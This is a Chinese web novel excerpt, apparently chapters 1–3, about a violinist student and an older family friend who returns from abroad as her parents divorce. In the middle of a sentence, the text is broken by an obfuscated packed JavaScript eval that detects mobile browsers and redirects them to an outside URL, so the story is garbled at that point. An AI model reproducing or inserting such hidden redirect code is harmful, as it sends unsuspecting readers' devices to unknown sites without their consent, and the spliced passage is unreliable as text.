《尤念[男二上位]》 1. 预演1 东大礼堂,后台。 前一刻被全场灯光汇集,十几盏明亮炫目的聚光灯打在身上,舞台中心无限放大了表演者的感知,直到帷幕落下后,叶笛袖耳朵方才一清,切实感受到喧嚣顷刻回归于沉静。 从幕布一侧退场至后台,更衣室内冷冷清清,校庆彩排的学生们提前做好妆容装扮,此刻都在外边候场。 编发扎得有点紧,绑久勒得隐隐疼,她对着满缀氛围灯的化妆镜解开胭红发带,发尾滑落垂至腰部,手指梳进发根拨散,小心从头上拆下起固定作用的发卡。 等到所有卸完,黑色发卡积起一小堆,光是看着都叫人头疼。 叶笛袖却好像是习惯了。 在隔间换下演出服,她整理好仪容,将黑色长裙叠起放进专门的收纳袋,然后娴熟地收起小提琴。 真丝内衬的意大利手工实木琴盒流畅合上,发出清脆“咔哒”一声。 化妆间只有寥寥几个女生。 她们估计是回来补妆,涂口红拍粉描眼线的都有。 笛袖进来时,有个女生眼尖看到,脸上扬起笑:“结束啦?” 见笛袖颔首点了下,女生即带上羡慕口吻,感慨道:“节目排在前面就是好,不像我们,少说还要等一小时。” 说话时语气有着不明显的亲热,其余女生跟着看过去,目光中透露着好奇。 “笛袖,你怎么衣服都换了?” 叶笛袖声音清柔:“我这边结束了,可以先撤。” “这么快!” “我们都还没上场呢——” 合唱队的指挥讶异:“平时排练起码得过两三轮,孟若是不是今天心情好?竟然一遍过,轻轻松松放人走。” “那岂不是马上能溜?” “别高兴太早。” 女生们刚兴奋起来,就有一道声音无情打破幻想: “这东西分人的。” 最初进门时开口的凌毓插话,“你看孟若什么时候扣过笛袖?” “额……” 大家彼此看一眼,短暂沉默。 近两个月来,学校礼堂被表演排练占用。东大作为国内顶尖学府,百年校庆不容懈怠,当日杰出校友、名流显贵列坐同堂,少不得有一众媒体采访拍摄。 这份沉甸甸的荣耀背后是责任,至于谁来负责,校领导挑来挑去,最后相中了骨干教师里能力“最硬”的那个。 她们方才提到名字的,是今年编导校庆典礼的负责人—— 校文艺部兼艺术学院声乐歌剧系的知名教师,孟若。德国音乐学院毕业,师从世界级著名花腔女高音歌唱家,专业能力顶尖,即使在名师云集的东大,也在二十九岁就评上副教授。 孟若向来高标准严要求,表面和声和气,讲话时像是只夜莺歌唱,但对自己任教的学生那叫一个苛刻,在学校里是出了名的“嘴软心狠”。 以往受她罪的只有声乐系和文艺部的那些学生,如今范围却波及到全校—— 提起这事,众人郁闷无比。 …… 孟若那性格谁不知道,麻烦又爱较真,得到她一句过关不容易。 她们都是学院选拔出来参演校庆节目的学生,各有所长,可落到孟若手里这些日子当真苦不堪言。 也只有笛袖这样的,一手小提琴拉得悠扬婉转,从头到尾曲调音阶无可指摘,才能勉强让她满意。 收纳袋挂进柜子横杆,原先为表演盘起的辫发散开,微卷长发柔顺垂落,杏色针织衫面料柔软,半高领口堆叠在脖颈中央,搭配浅蓝色牛仔鱼尾半身裙,高腰设计勾勒出腰线,简单轻便的上衣下裙,穿在她身上却是别样韵味。叶笛袖合上柜门,转过身,就看见指挥一双眼眸亮晶晶地望向她。 “晚点排练结束我们商量好去看电影,五点半的场。” “亲爱的,要不要和我们一起?”指挥看着她,主动发出邀约。 “丰润中心那里新开了家越南餐厅,听说里面的春卷和香茅鸡扒特别好吃。”另一人轻快接道:“晚饭可以去尝下越南菜。” 看神情,其余人同样隐约期待。 “不了。” “我已经约了人。”叶笛袖却说。 被拒绝后,众人也不意外,指挥饶有兴致地顺口八卦:“哦?是谁呀?” “男的女的?”凌毓跟着问。 叶笛袖笑而不答,清亮的眼眸静静回望她俩。 那双眼并非常见的棕色,瞳色浅近茶褐,纯净澄澈地像方晶琥珀。 微微一笑时,颜色太浅,温柔干净过了度,反而显出一种说不出的疏淡。 “……” 不多时,“那好吧。” 两人皆是识趣止了话题:“有机会下次再约。” // 大学城紧挨商圈,购物中心、主题Mall和写字楼并立,从校园到繁华商业区,步行不过二十分钟。 正值下午两点左右,过了饭点,又没到喝下午茶时间,茶餐厅内客人不多,寥寥散落在几十张餐桌。 环境清幽,布置高雅,座与座之间交谈的声调近乎耳语。 磨砂黑台面餐桌前,店员唇角弯起,脸上挂着靓丽笑容,主动向一位客人推荐本店今日限供特点,黄油杏仁酥。 服务态度分外热情,说话间隙,眼神趁机不住打量男人。 条形沙发上,接受殷勤招待的客人姿态从容,听完介绍,他合起手上那本菜单,嗓音平和地开口:“暂时不用,谢谢。” 遭到再次婉拒,店员进一步搭讪的心思破灭,只好收起菜单离开。 走出十几米外,清秀的脸颊泛起微红,和站在柜台后的同事飞快小声说:“好帅!” “尤其是那副长相,含蓄又温润,凑近看简直了——” “真的呀?” 另一位服务生探头,瞥了几眼。不消片刻,便知在说的是谁。 临近落地窗的数桌间,其中有道人影格外醒目,高、瘦,白衬衣深色长裤,短发漆黑,坐在沙发上依然看得出身形笔直,背薄肩宽,有如修长竹枝的劲韧感。 对方约莫二十来岁,气质沉稳深着,单肤浅地从外形论,应该是个年轻而富有涵养的男人。 “远看是挺帅的。”服务生手肘撑在台面,托腮笑:“得找机会过去仔细瞧瞧。” 见到这副熟悉样子,店员立即说道:“看归看,别打歪主意。” “就打。” “先来后到懂不懂!” “嘁,去添几回茶了?人家有功夫搭理你么。” “他看不上我,还能看得上你?” 两人互相埋汰一阵,打发无聊漫长的上班时间,半天才话回正题: “好啦讲真的,他是一个人吗?看样子,怎么好像在等人。” 精致茶点铺满桌布,却一口没尝,估计是给对方留的。 随意猜测:“喜欢吃甜食……该不会是女朋友?” “哈哈,这可不好说。” “……” 玩笑间,一个没留意,门口进来位背着深漆琴包的女孩,她步伐不大,但动作简练,漂亮的微卷纹长发挽在耳后,松松散落披挂肩背,携着细淡香气,经过柜台前拂过一阵微暧的风。 店员来不及收声,还未做出招待,紧接着稍感意外的事发生了。 她们看见那位气质文雅的女生,一步步向窗边靠近,走到那张摆着甜点和应季茶饮的黑色餐桌前,最后安然落座在刚才谈论的年轻男人对面。 · “有点事耽搁,稍微晚了些。” 叶笛袖落座后,略微歉声问道:“是不是让你等挺久?” 从繁冗消息中一刻抽身,林有文抬头看向坐在对面的女孩,将手机放回衣兜,“还好,我也才到这。” 他声线平稳,舒缓且富有纵深感:“路上赶过来的?” 还没开口,稍显紧促的呼吸声,已经做出回答。 林有文察觉到她说话时那丝气喘,平淡如水的面容不经意动了下,笑意快得像错觉,“我没有催你,急什么。” “……” 叶笛袖适才缓过口气,镇定几分,“我不喜欢迟到,尤其是由我定好的时间。” 她从肩上摘下琴包,林有文瞧见眼熟的实木琴盒,目光短暂停留。 叶笛袖留心到,便说:“刚才有场彩排。” “彩排?” “最近有演出活动?”他问。 “对。” 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笛袖扫过一眼,桌上十几样甜点和茶饮,摆在她最前边的是抹茶蜜豆瑞士卷和玫瑰司康,从外形看蛋糕绵软可口,司康饼醇香酥脆,近在手边的位置是杯冰镇过的无糖冻柠茶,颜色深红。 “甜食我吃得不多,按店员推荐的特点,抹茶卷、红豆、玫瑰馅料的甜品都上了一份。” 他作了个示意品尝的手势,薄衬衫挽起的袖口手臂线条匀实。 目光忍不住顺着往他右臂看,肌理似珗石刀削过般清瘦而有力,小臂内侧接近衣袖边缘浮凸一道淡瘢痕,笛袖瞧得不清晰,眼睛一眨林有文已收回手,视线被完全挡住。 …… 画面一闪而过,心里起了个疑念。 她低头含住面前吸管,冻柠茶入口搭配红茶的微苦,冰凉滑过喉咙,瞬间化解了不少秋日燥热,咽下后泛起青涩的回甘。 去除糖分后,柠檬苦味比甘甜重。 但那丝苦涩并不难喝,习惯后,反而比别的饮料滋味更好。 熟悉的味道在舌尖味蕾泛起,她认真尝了几口,“挺不错的。” 点心也是,甜而不腻。 “味道刚刚好。” 林有文淡淡笑着,“你的口味和以前一样,没变过。” 这话听在耳朵里,笛袖手上忽然顿了顿。 说者无心,听者有意。 这家餐厅因为糕点摆盘精细,味道可口,且商圈位置邻近学校,很受众多学生的喜爱,是女生们下午茶名单上的首选。 笛袖私下点过多次,眼前餐碟上盛着她最常吃的茶饮点心,在并不知情的情况下,林有文精准踩中她的喜好。 思绪犹如被扰动的琴弦,不免心神动摇。 鱼尾裙包裹的双腿上,指尖无意识轻轻划过浅蓝布料表面,面上不着痕迹,脑海寻找起当年的记忆:“我初学小提琴……是你亲自教我的。” 连用的琴盒,也是去年林有文在国外,托人在意大利弦乐器制作师琴展拍下的一件手工匠品。他眼光挑剔,能看中的当然不普通,而笛袖对名贵琴盒了解不多,评价不出高深,单觉得用着很好。 “虽然只教了三个月,后面换作了其他人教我。可我印象最深的还是最开始的那段经历。” “这些年我没松懈过练琴,同样地,一直没有登台演出过。”笛袖目光从琴盒表面挪开,抬眼看向他:“这次不仅是因为选上名额表演,说实话,我也希望借此做个留念。” 笛袖看着林有文,以再普通不过、再寻常不过的口吻,将心底话说出:“——想让你看到,我的小提琴水平比六年前有很大进步。” 六年的小提琴基础,时间不长也不算短。照理说琴龄比这长的人有很多,甚至不乏见过两三岁的幼童,从小手勉强托稳琴身起,便开始练习拉弓锯木头,但叶笛袖特殊的一点是,她在节奏和音符上表现出的敏感和潜能并不为常人具备。 她小时候没碰过乐器,拿画笔的次数远多过听曲,误打误撞学会另一门艺术,只因为当初…… 侥幸喜欢上眼前这个人。 2. 预演2 面对她所言,林有文没立刻回答。 沉默须臾,等待令人坐立难安。 几秒后,他方才从容不迫开口:“我同样期待,什么时候能有机会听到你演奏的曲子。” “……” 淡淡失落之余,笛袖不禁开始有所懊恼:刚才引导的意图未免还是太明显。 于是绕回起初的话题,“本来我要走的时候,被学校一位老师叫住说了几句话。她是这次校庆演出负责人,提的修改意见很重要,我只能留下来听完。” 补充这句,权当是对先前踩点赶到的交代。 “那位老师给你指点了什么?” “她是学声乐的。”笛袖摇了摇头,“专业和你擅长的不一样,提的那些和舞台展示相关。” 相比这个,笛袖更关心和在意的事情是:“怎么突然间回国,提前都不说一声。” 此前没从林家听到一点风声,她得知的时候,他人早已到机场,航班十几个小时从日暮坐到白昼,落地后直接找个住处歇下。 “临时提的休假,比较仓促。” 休假……回答有些意外。 她想了下,忽地紧起眉:“是家里出什么状况了吗?” 林有文:“没有,想回来就回来了。” 笛袖不太相信,仍在等着。 许是见她神情太认真,林有文忍俊不禁,这回难得真笑,给出正经答复。 “伊朗军方宣布暂时停火,德黑兰意图和解休战,短期内不会发生军事冲突。” “我目前的工作停缓,正好趁这个机会申请回国调休,获得上级批准,正好连带积压的假期一起放了。”他不准备围绕这话题深谈,简短交代:“因为赶上了一趟直飞国内的航班,这在当地很少见,不用在欧洲中转,所以没来得及跟你们打声招呼。” 原来如此。 “那你这次,打算在国内待多久?” “应该两个月,具体时间视情况而定。” 林有文沉吟片刻,“不出意外,会留到新年后。” 也就是说,会陪家人过完春节。 她心跳不禁快了几分。 笛袖垂眸定神,掩饰住不平静的情绪,“年后如果没有战争,你的返程日期会不会变动。” “也许推迟。” 她大致懂了,“也可能提早?” “所以,”他略有些无奈,“我说‘视情况而定’。” 笛袖没出声,因为她才意识到另一个关键点:林有文回国后,没有直接搭乘转机回南浦的家里,而是选择留在这,留在江宁。 ——为什么。 她下意识往深想,蓦然间触及到林有文的眼神。 那双眼睛漆黑深沉,如同幽暗潭水,静看着她几秒,似乎揣摩。 视线恰好撞上,笛袖不由自主停顿。 周遭一时安静下来。 隔壁的不远餐桌,叉碟相撞伴随客人间低语传来。近在手边的位置,新满上的玻璃杯壁凝结水珠,一颗颗滑落,洇湿一小块桌布。 凉意近到触手可及。 然后,她听见林有文问,“两年不见。” 声音低沉平缓,干净又分明,也是见面后第一次叫她的小名: “哲哲,你一直在问我,了解我在外面的情况,难道你自己没有什么想告诉我的么?” 笛袖微怔住。 …… “见面地点和时间是你挑的,我们之间不需要寒暄式叙旧,”林有文看着她,“我来找你,只关心一件事。” “……” 平静陈述,说的却是不平静的话: “我听说,你父母上周正式离婚。” · · 出了餐厅,时间临近黄昏。 日暮时分空气剥离最后一丝干燥余热,正值秋风簌簌,体感微凉,火烧云挂在天边,赤金洒满街面。 一辆黑色路虎驶过路沿,平稳停在身前,车漆锃亮崭新,清晰倒映出近处街景以及她的身影,左侧车窗降下,直到看清林有文那张熟悉的脸,笛袖才反应过来在餐厅的时候,他说的那句“等下我送你回去”是什么意思。 话至一半,林有文中途接到工作电话,和对面沟通几句后,神情慢慢冷下来。内容遣词官方、口吻严肃,涉及公务或外交方面的用语,没多久,紧接又是两个电话进来。 他虽说是休假,但显然空暇无多。 笛袖读出这一层意思。等他出去接听完,再进来时已经过了二十分钟。 双方见面,撂着其中一方冷落许久是非常无礼的行为,林有文对这个中断感到抱歉,但看样子他也被连番举动干扰,回来后将手机开了静音。 期间消息弹窗一条接一条。 手机在林有文手心里转动,却不及时查看。笛袖渐渐失了兴致,喝完杯冻柠茶,没过多久,她主动提议回去。 林有文犹豫一瞬,随即同意了。 此刻,笛袖表情略微茫然,“你的车是哪来的?” “一直都有。”林有文看出她的疑惑,“出国前买的,上大学期间有时住在学校,有时住在自己的公寓,出门开车方便。” “不然,你以为我怎么送你?” 他抿了抿唇,“陪你打车?……也不是不行。” · 毕业两年,车内陈设还和崭新的差不多,由此可见林有文大学期间用车并不频繁。 车头调转,逆打方向盘驶入左车道,见林有文是要往学校方向开,笛袖阻止下来:“等等,我不住学校宿舍,走长庆东路。” 报了家门地址后,笛袖背靠柔软的皮面座椅,手肘支起架在窗沿,车窗降下一半,习习凉风吹散细长发丝。 她迎风眯着眼,右手抚额,指尖有一搭没一搭地敲着。 看似放风出神。 嗯……其实不想承认,当下是存了避人的情绪。 …… 见面时间和地点都是她挑的。 来之前,她很清楚林有文会提到什么,六年内人生的每一个重要节点,他都没有缺席,她对他而言像是一个妹妹、需要细心照顾的小辈。 随着话语深入,在他面前,笛袖感觉自己像回到了过去。 剥去体面的保护壳,不论现在她在人前伪装得如何好,到林有文这,依然保留着当年原本的模样——又成为那个敏感、自我封闭的女孩,无法保持镇定。 林有文之前在国外,能得到消息的渠道有限,餐厅里,笛袖停顿片刻,随后反应过来:“是伯母告诉你的?” “航班抵达后和家里联系上,她知道我回国行程,特意让我过来看看你。”林有文没隐瞒。 林母对笛袖一直很上心,毕竟有打小看着长大的情分。 “所以今天你来这,是伯母的意思。” 她从话里解读出一层意思。 “你现在心里怎么想,准备替她开始安慰我?” ——停留此地没有什么原因,单纯是因为家庭变故觉得她可怜,特意带了家里嘱托的话来,准备开解她? 林有文闻言,极快地蹙了下眉。 “算是,也不尽然。” 他说:“这同样也是我的想法。” “……” 在经历父母离婚这件事,尤其还有过去的那段经历相佐,林有文于情于理,都不会对她置之不闻。 离婚本身对她的家庭意味解脱,但笛袖自己都说不清,纠缠这么多年,这个结局对她的父母到底还是不是一件好事。 入秋后,昼夜温差大。 开窗透气一会儿,笛袖脸上吹得微微发凉,才将车窗升上去一点,林有文便注意到了。 “冷?” “有点。” 林有文伸手开空调热风,她适时开口:“正好有些犯困,这个温度挺舒服。” 他闻言收手,等候红绿灯间隙,俯身从后座拿了件叠起来的风衣,递送她怀里。 男士衣服宽大,展开后直接罩住她整个上身,风衣衣摆长,她接过往上提了点,盖住脖颈以下,双手反穿过衣袖。 不得不说,全身盖住后有如在屋顶下遮蔽的安全感,淡淡烟草味萦绕进鼻尖,并不会难闻。 两人动作熟稔到像是重复过无数遍。 若是换作别的男女,这番场景被其他人看去,多半误认为是情侣间的相处。 可叶笛袖清楚不是,那份熟悉带来的亲昵感,与情爱无关。 而重逢之后的一切,仅仅只是他对她有限度的关怀。 · · 按照地址导航到终点,经过两道门卫和住户识别,车开到某座高层住宅楼下,停在一个闲置车位。 小区绿化环境宜人,五重式的园林景观,以黑青石砖铺路,花卉地被层层递进。 这里地段绝佳,周边社圈从国际幼儿园到名牌大学,私立医院、健身馆文娱中心等等匹配齐全,楼盘一经上市秒速售空——不论升值空间和居住舒适度,光凭学区房的地理位置,背靠优质教育资源,足以窥见是定位不低的高品质住宅区。 现住的这套房子,原先是笛袖母亲名下的房产之一。自从女儿考上东大到江宁市上学后,她便将这套房转赠给了笛袖。 虽然房屋不是最宽敞、最昂贵,唯一明显的好处是,近。 ——从这里到学校路程步行不到半小时,通行非常便利,而且小区环境良好、安保严密,适合独居。 考虑得细致,不难看出女人为此费了一番心思。 然而这份好意没有被立刻接纳。 直到上学期结束后,笛袖才搬出学校宿舍住进这里。 “最近我都在江宁,暂时不回南浦。” 林有文说:“有什么需要,随时可以联系我。” 今天下午称不上愉快,被电话、消息干扰几回,彼此都觉得不是静心交谈的好时候,林有文有意弥补:“下回想去哪里,把地址发给我,或者想吃什么提前告诉我,我去订地方。” “你晚点还要忙吗?” 他轻轻地嗯了声:“工作上的事,要赶份报道出来。” “那我就不请你上去坐了。” 笛袖没客套,想了想,又问:“下周有时间,能一起吃顿晚饭?” 他没犹豫,“好。” 算是两个都作了回应。 从来都是这样,她提的要求,只要不过分,林有文几乎不假思索地答应。 至于过分的那些,超于边界的……她不敢试探,也不会轻易触碰。 SUV底盘距离地面高,推开车门,门控踏板自动感应伸出。笛袖迈出腿,可即将临到门前,身形忽地一顿。 她沉住口气,转过身面向他,终于把上车前积压心底的话说出口: “你是不是想问我,我父母离婚对我有多大影响。” “你想说吗?” 林有文低声:“我问了,你不一定要回答。” 叶笛袖默然一刻。 “我明白他们迟早要离,说了这么多年,我已经做好心理准备。”还是讲出真实想法,“原先他们争我的抚养权,两边不肯松手。我爸铁了心离婚,我妈不同意,她知道我要不跟她这家就算彻底散了,她和我爸没有过下去的可能。” “从最初闹到不可开交,后来半推半就拖到我十八岁之后。” “抱着为我好的名义,维持着表面婚姻,等到我成年了,就没有拖延下去的理由。” 她像缓和剂一样,充当父母之间无法弥补的那道裂痕,直到嫌隙大到无法弥补。 笛袖如释重负呼出一口气,顿了顿,缓缓道:“可真当发生的那一刻,才发现自己还是会有些接受不了。” 有几个人能面对亲生父母的离婚无动于衷,尤其是他们感情破裂的原因很大程度上,源于自己。 林有文沉默专注地听,而后说:“哲哲,长辈间的感情你能做的有限。” “不要给自己太大负担。” “这些年你夹在中间,一直不好受。有什么烦恼可以告诉我,或者倾诉给其他可以信任的人,只要不像当初那样,一个人把所有情绪积攒在心底。” 温柔的话语,起到微乎其微的作用,她只是说一句:“道理我都明白,我也不是小孩子了。” 但这话从林有文口中,还是有不一样的意义。 “真的,你……和伯母不用担心我。”笛袖道。 林有文搭在方向盘的手动了下,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826117|175530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像过去一样,摸摸脑袋给予安慰,但意识先一步提醒,这已经不合适了。 他无声叹气,掌心慢慢向内收拢。忍不住心软几分,松动之下不由妥协,见面后一直克制而疏离的举动打破。 望一眼外面灯光明亮的高层公寓,他主动问道:“需要送你上去吗?” 笛袖垂着脑袋,未察觉到林有文态度已微妙变化。 她摇了摇头,“回去路上,注意安全。” · · 走进楼下大厅,服务台的礼宾热情喊了声“叶小姐”。 笛袖前两个月才搬来,勉强和物业人员混了个脸熟,对方显然对她更有印象,一眼便认出来:“叶小姐,您稍等下。” 对方脸带歉意告知地面两层电梯门集体故障,目前还在维修,电梯暂时只抵达三楼及以上。 “抱歉给您造成不便。” 女士放柔语调,“维修完成,我们将第一时间在业主群通知。” 小区物业一向服务意识周到,笛袖点了点头,“谢谢,麻烦了。” “不客气,这是我们应该做的。” 楼道感应灯接连亮起,笛袖住在16楼,得走三层楼梯再坐电梯上去。 不到三十秒快爬完,二楼和三楼之间的转角,楼道窗户靠近及腰高,往下风景一览无余。 她中途换口气时,无意间低头往地面瞥一眼,却没想到原本预计中空荡荡的地方,仍立重浓墨黑影。 车停在原地。 路灯蒙蒙照在身上,拉长的影子斜斜靠在脚边,车身颜色和人影重合在一起。 林有文还没走,他不知从哪里拿出烟和打火机。 银色滑盖利落弹开,S.T.Dupont机身火焰跃闪,点燃嘴唇咬合的那根烟。 烟雾徐徐,男人倚靠黑色车身旁,身姿清越挺拔,背如竹节,穿着白衬衣裁剪合度,袖口规整挽起至臂弯,掌心熟稔地把玩打火机,反复合上打开,声响清脆,他眼皮微垂,目光落在地面,不知在思索什么,神情略微寡淡。 气质沉,成熟风度稳而内敛。 笛袖久久凝望窗外人影。 这段时间改变的不止她,父母、家庭、亲情的关系一点点错位……两年后的林有文同样让她感到陌生。 她记得林有文以前从不抽烟,气息清爽干净,如同他的外观给人以相近的感受。 那是张脸廓线条分外柔和的面孔,五官深邃,但并不冷峻,即使面无波澜,也有层温和意味。 而现在的他,脸上挂着笑,却瞧不出真实心思,多了浅浅的距离感。 笛袖看在眼底,再联想造使他身上发生改变的原因,颇不是滋味。 自高而下的俯瞰视角,更是和记忆中某个场景重合。 烟燃尽时,林有文随手摁灭最后的火星,将烟头扔到灭烟柱银箱,转身启动车子离开。 · · 周三下午,照例还是每周两次的彩排时间。 叶笛袖才到礼堂,就被众人告知孟若特意吩咐,让她到这后第一时间先去找她。 孟若老师是校庆表演的负责人,可以说,在这里属她话语权最大。叶笛袖心想片刻,大概明白孟若叫她过去是因为什么事,没耽误放下东西过去。 排练开始前,廊道左右都是学生,树型布景材料、演出装饰随意堆落在地面,经几个同学指路,笛袖在后台区域的休息室找到旁听主持人对稿,穿着卡其色梭织衬衫裙,拼色织带系腰,留着齐颈短发的孟若。 她坐在长沙发上,右腿屈膝叠架左腿上,秀雅脸庞神情专注,外貌穿衣颇具有艺术气质。 “孟老师。” 孟若似乎一直等她,原本正在评改稿词,眼角余光一瞥见门口人影,随即脸侧看过来:“诶,来得正好。” 笛袖走进休息室,她让四个男女主持接着对词,站起转身,道:“我和你说,之前讨论的方案有结果了。” “你的小提琴节目要做些调整。” 笛袖闻言不意外,“增加另外的演出人员?” “对。”孟若轻轻颔首,“具体讲,只是一个特殊的搭档。”似乎担心笛袖会因此不满,额外添了一句:“校方高层的意思很明确,校庆这么大的舞台,不是个人演出秀和音乐会,我们要向外界展现东大各学院的风采,否则论专业度,直接选艺术专业的学生包揽所有演出节目最简单。” “我知道。”笛袖点点头,“这些道理您和我解释过。” 和一般学校的校庆仪式不同在于,东大有自己的特色,要求每个学院都得出演一个节目,就像她代表的是数院名额。 上回彩排校委们过来巡视参观,之后对她的小提琴表演提了修改建议,理由是独奏没有合奏观赏性强。那天和林有文见面,她意外被绊住了一会儿,正是在离开礼堂前因此事被孟若喊住。 演出在即,校委员会临时兴起,这时候提议插个搭档进来,和一个完全没有配合过的人要从头磨合,换做谁都不会乐意接受。 笛袖心底固有成见,“在这点上,我和学校领导的看法是一致的。”孟若打心底欣赏这个优秀又省心的学生,劝说语气自然缓和:“原先我提到过,从观赏性讲更倾向合奏,也让你做好随时会变动的心理预期。” “我没有问题。”笛袖先表完态,“可不是说没有找到合适的么。” 独奏曲目保留的可能性不大,孟若一直有改动的意向,提早和她打过预防针,所以笛袖对此没太大反应。 无奈孟若始终找不到令她满意的人选,才拖延到现在。 “这个不用担心,我已经解决了。” 孟若脸上少见得挂上舒心笑容,“那位是陈院长的得意门生,可不是那么容易请得到的,难得遇上他最近休假空余,才应了老师的面子来帮忙。嗯,待会你们可以磨合一下。” 听到这句,笛袖感到莫名。 “……待会?” “对啊。” 迎着笛袖略微诧异的目光,孟若眼睛弯了弯,道:“事不宜迟,当然越抓紧越好。他毕业两年今天回母校探望,许久不见,陈院没那么快放人。” “人得晚些才能过来,提前说一声,免得你没有准备。” 3. 预演3 彩排马上开始,孟若抬腕看了眼时间,距离到点没剩多久。 与陈院长学生约定在排练结束后碰面,时候尚早,原本的流程不变。 她长话短说,简单交代过几句后,便催促笛袖抓紧做演出准备。 试衣镜中人影一袭束腰绒面裙简约大方,连带双臂被长袖覆盖,遍体鸦黑,没有额外装饰性的图案,仅方形领口、衣襟处缀着白色蕾丝,精美却不繁复。 笛袖侧过身,看向镜子双手绕到颈后,手指轻巧拨弄出衣物夹住的长发。 经造型师定期护理的头发呈现好看显白的栗色,垂臂时理好因动作裙子表面浮起的细微褶痕。 寻常学生的演出服由学校提供,很少自己购买,在款式和版型上没有多少选择空间,不合身、有破损只能将就忍忍穿上。 而她的裙装则是自备,尺寸贴合身形。 一众花花绿绿的艳丽衣裳里,唯独她穿着质感上乘的定制礼服,演奏用的小提琴价值不亚于一辆名牌轿车。 这也是女生们推定笛袖家境富裕的原因之一。 即便,她没有一句提到过自己的家庭。 从更衣室离开到化妆间,经过储物室侧方过道,笛袖眼角余光意外瞥见一处阴影。 过道和墙角间的角落隐蔽,往里走才瞧见夹缝里仅一小块儿空隙,正站着个人。 女生背向她,身影与雀绿幕布接近浑然一体,脑袋抵着墙面,闭着眼,认真咀嚼台词: "…Don''tlookback." (不要回忆往昔) "Itdragsatyourheart…" "tillyoucan''tdoanything,butlookback." (往昔的种种会牵住你的心,徒叫你缅怀过去) 没听几句,女生低头翻到下一页纸,继续记忆另一段对白。 弯腰的动作,将身上蓬松轻纱款墨绿服装撑开。 “打扰下。” 穿着克里诺林裙女孩似乎沉浸在台词中,猝不及防身后来人,一惊:“啊!” 叶笛袖收回拍肩的手,目光下移,最后落在对方腰间示意: “——你的衣服拉链好像坏了。” 衣服从中间往两边扯开,简佳妮反手一模,直接触摸到自己背部裸露皮肤,才意识到走光。 脸上顿时浮现慌张情绪,“明明之前穿的时候是好的。” 甬道对外一侧沿窗,借玻璃窗模糊一照,简佳妮更显尴尬,拉链从腰间开到背上,内衣边缘都快露出来了……她竟然没发现! 万幸的是—— “还好我一直待在这,没出去过。” 面前的人叶笛袖仅限于眼熟。 女生个子娇小,梨形脸圆眼睛,不像凌毓她们活跃外向,内敛到存在感低。 蓬松宽大的裙摆,浮夸油墨似的舞台妆,基于外在特点判断出是表演话剧的学生。 “你一个人在这做什么?” 笛袖平静地问了句,“其他演话剧的同伴呢。” “我在……背台词。” 简佳妮下意识只回答了一半,笛袖心里短暂思量,没去细究她为何落单。 “有带备用的衣服吗,先换上吧。”她提了个建议。 简佳妮摇头。 “我是在宿舍换好才过来的,而且现在回去也来不及了。” 本来台词拗口就背得不通顺,怕临场紧张忘词,特意上台前再过两遍,这下衣服还倒霉破损了。 简佳妮抿着唇,越想越难受。 眼见对方神色渐渐焦急,笛袖斟酌片刻,而后开口:“我这有件薄外套,要不,佳妮你先披着?” “……” 闻言,简佳妮微怔一刻。 “你知道我的名字?” 一起排练这么多次,听了几十遍报幕的名字当然有印象。笛袖没有直言原因,微微一笑,面容清雅又温柔,“‘简佳妮’——你的姓氏特别,名字也很好听。” “你竟然会记得!” 简佳妮睁大眼睛,方才是惊讶,慢慢反应过来,变成有点意外的惊喜。 这是她们第一次对话,可简佳妮对叶笛袖却不陌生。 更确切地说,女生堆里没谁不对叶笛袖好奇。 好比眼前这景象。 面前女生笑意清浅,神态一点也不浓腻。她足够吸睛,长得漂亮只是其一,未知带来的新鲜感和探索欲更让女生们挪不开眼。 即使连续两月每周都在同一个地方排练,叶笛袖依然对所有人保持点到即止的距离感,分寸拿捏得恰到好处,很少与人同行。 她态度友善,给众人都留下好印象,却从不参加她们私底下邀请的活动聚会。 完全,没有一点融入集体的想法,这在学生中并不多见。 以至于对于这个人,大家从明面上看得出脾性好、家境不错等基本信息外,没有更多的了解。 哪怕是凌毓等人,也因为好奇心,忍不住倾向于和叶笛袖相处时,展现出微妙的示好。 简佳妮却略有犹豫——表演服外边再穿件外套上台,显得不伦不类的,这可行吗…… “学校演出服尺码只有那几件,换来换去经常容易破损,孟老师再怎么严格,总不能让你穿着坏的裙子上台。”笛袖打消了她的那点顾虑。 “先拿我这件救急。” 随身正好带着刚脱下的针织开衫,简佳妮接过衣服,上身后盖住拉链损坏的地方,避免了随时走光的风险。 她语含感激:”谢谢,我下台后立刻还给你。” “没关系。”衣服坏了,一时半会也换不了,笛袖说:“不方便的话,可以下次排练再给我。” 简佳妮点点头,没再继续推托。 · 氛围灯光适时调低,礼堂顷然间陷入一层暗昧。 视野稍显黯淡,营造出沉静安谧的气息。 剩下一束白炽灯自上而下,汇聚于一小圈,在专注于表演小提琴的女孩身上勾勒出柔和明亮的光晕,也是唯一的亮源。 舞台中央,她右臂持弓,肩膀和下巴托举固定住小提琴,左手徐徐拉动琴弓。 弦与弓摩擦出轻扬、舒缓的琴音,乐符悠扬曼妙。 侧耳细听,绵长旋律仿佛无止无休,像薄雾弥漫在深秋莽原,于欢快中隐含淡淡忧伤。 曲调深缓令人畅想。 演奏的是改编自拉赫玛尼诺夫创作的,《爱的忧伤》。 …… 悦耳琴音中,礼堂内男女生交谈的语调渐渐低下来。 聚集过来的不止在场人的注意力,其余声音仿佛也被吸引,从间断嘈杂到逐渐趋于乐符本身带来的平缓和宁静。 到最后,更是悄然无声。 他们不由自主安静倾听——无论排练多少次,看到这副场景时都忍不住心生畅想。 这才是笛袖真实的小提琴水平——能让眼光挑剔的孟若都找不出一丝明显瑕疵,足以平定所有在最初看到她本人时产生不切实际的质疑,毫不逊色于最优秀的专业特长生。 然而此时此刻,在周围交汇过来的目光中,叶笛袖直觉和以往多出哪里不一样。 灵感先一步而动,她顺势望过去。 台下,观众席间。 以往观看视角最佳的评委区只容许坐一人,孟若在座位上随时指点江山。而现在她旁边多出一个男人。 那道身影分外熟悉,礼堂昏暗光线中,他们并肩坐在前方中央的评委席位。 